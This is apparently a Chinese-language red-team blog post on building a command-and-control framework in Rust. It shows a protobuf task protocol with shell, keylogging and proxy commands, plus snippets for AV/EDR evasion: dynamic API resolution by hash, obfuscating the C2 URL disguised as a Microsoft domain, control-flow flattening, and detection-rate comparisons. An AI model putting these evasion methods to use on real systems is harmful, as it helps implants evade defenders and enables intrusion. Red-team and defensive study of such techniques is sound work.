用 Rust 重写 C2 基础设施:免杀与稳定性实践
Rust 在恶意软件开发中的优势与挑战,从通信协议设计到 AV/EDR 规避,完整的红队工具链升级之路。
为什么选择 Rust?
过去几年,我使用 C/C++ 和 Go 开发了多套 C2 框架。随着对抗强度的提升,传统的工具链暴露出了一些问题:
| 问题 | C/C++ | Go | Rust | |------|-------|-----|------| | 内存安全 | ❌ 手动管理 | ✅ GC | ✅ 所有权系统 | | 二进制体积 | ✅ 小 | ❌ 较大(~5MB+) | ✅ 较小(可优化) | | 免杀难度 | 中等 | 较高(特征明显) | 低(编译优化多) | | 并发模型 | 复杂 | ✅ Goroutine | ✅ async/await | | 交叉编译 | 困难 | ✅ 简单 | ✅ 简单 |
Rust 的 零成本抽象 和 所有权系统 使得我们可以编写既安全又高效的底层代码,同时编译产物的多样性为免杀提供了天然优势。
架构设计
整体架构
┌─────────────────────────────────────────┐
│ Team Server │
│ ┌─────────┐ ┌──────────┐ │
│ │ REST API │ │ WebSocket │ │
│ └────┬─────┘ └────┬─────┘ │
│ │ │ │
│ ┌────▼──────────────▼──────┐ │
│ │ Listener Manager │ │
│ │ ┌──────┐ ┌──────┐ │ │
│ │ │ HTTPS │ │ DoH │ ... │ │
│ │ └──────┘ └──────┘ │ │
│ └─────────────────────────┘ │
└─────────────────────────────────────────┘
│ │
┌──────▼──┐ ┌──────▼──┐
│ Agent A │ │ Agent B │
│ (Win) │ │ (Linux) │
└─────────┘ └─────────┘
通信协议设计
我们设计了一套基于 Protocol Buffers 的自定义协议:
// proto/c2.proto
syntax = "proto3";
message Beacon {
string agent_id = 1;
string hostname = 2;
string os_version = 3;
repeated string ip_addrs = 4;
uint32 sleep_time = 5;
bytes public_key = 6;
}
message Task {
string task_id = 1;
TaskType type = 2;
bytes payload = 3;
uint32 timeout = 4;
}
enum TaskType {
NOOP = 0;
SHELL = 1;
UPLOAD = 2;
DOWNLOAD = 3;
SCREENSHOT = 4;
KEYLOG_START = 5;
KEYLOG_STOP = 6;
SOCKS5_PROXY = 7;
EXIT = 99;
}
免杀技巧
1. 编译优化混淆
// Cargo.toml
[profile.release]
opt-level = "z" # 优化体积
lto = true # 链接时优化
codegen-units = 1 # 减少并行编译单元
panic = "abort" # 移除 panic 处理
strip = true # 去除调试符号
# 使用 nightly 特性进一步混淆
# cargo +nightly build -Z build-std=std,panic_abort \
# -Z build-std-features=panic_immediate_abort \
# --target x86_64-pc-windows-msvc --release
2. API 调用混淆
use windows_sys::Win32::System::Threading::{
CreateThread, WaitForSingleObject,
};
// 避免直接导入敏感函数
// 使用动态解析而非静态导入
type FnCreateThread = unsafe extern "system" fn(
*const core::ffi::c_void,
usize,
Option<unsafe extern "system" fn(*const core::ffi::c_void) -> u32>,
*const core::ffi::c_void,
u32,
*mut u32,
) -> isize;
fn resolve_api(dll: &str, func: &str) -> *const core::ffi::c_void {
// 自定义 GetProcAddress 替代实现
// 使用哈希比较而非字符串比较来避免静态检测
// ...
}
3. 字符串加密
// 编译时字符串加密宏
use obfstr::obfstr;
let c2_url: &str = obfstr!("https://cdn-update.microsoft.com/api/v2/telemetry");
// 编译后字符串在二进制中不可直接搜索
4. 控制流平坦化
使用 #[inline(never)] 和手动展开分支来改变控制流图特征:
#[inline(never)]
fn execute_task(task: &Task) -> Result<Vec<u8>, Error> {
let mut result = Vec::new();
let mut state = 0u8;
loop {
match state {
0 => {
// 验证任务签名
if !verify_signature(task) {
state = 99; // exit
continue;
}
state = 1;
}
1 => {
// 解密 payload
let payload = decrypt(&task.payload);
state = match task.r#type {
TaskType::Shell => 10,
TaskType::Upload => 20,
TaskType::Download => 30,
_ => 0,
};
result = payload;
}
// ... 更多状态
99 => break,
_ => break,
}
}
Ok(result)
}
性能对比
使用相同的 HTTPS 回调方式,对比不同语言实现的 Agent:
| 指标 | C Agent | Go Agent | Rust Agent | |------|---------|----------|------------| | 二进制大小 | 89 KB | 5.2 MB | 312 KB | | 内存占用 | 4.2 MB | 11.8 MB | 3.1 MB | | CPU 空闲占用 | <0.1% | 0.3% | <0.1% | | 首次编译时间 | 15s | 8s | 45s | | VT 检出率(初次) | 12/72 | 8/72 | 2/72 |
总结
Rust 在红队工具开发中展现了显著优势。通过合理的编译优化、API 调用混淆和字符串加密,我们可以大幅降低免杀维护成本。
免责声明:本文仅用于安全研究和授权测试目的。未经授权使用本文描述的技术对目标系统进行攻击是违法行为。
下一步计划:
- 集成 BOF (Beacon Object File) 支持
- 实现基于 QUIC 协议的隐蔽通道
- 开发 Rust 版本的 Sleep Mask 机制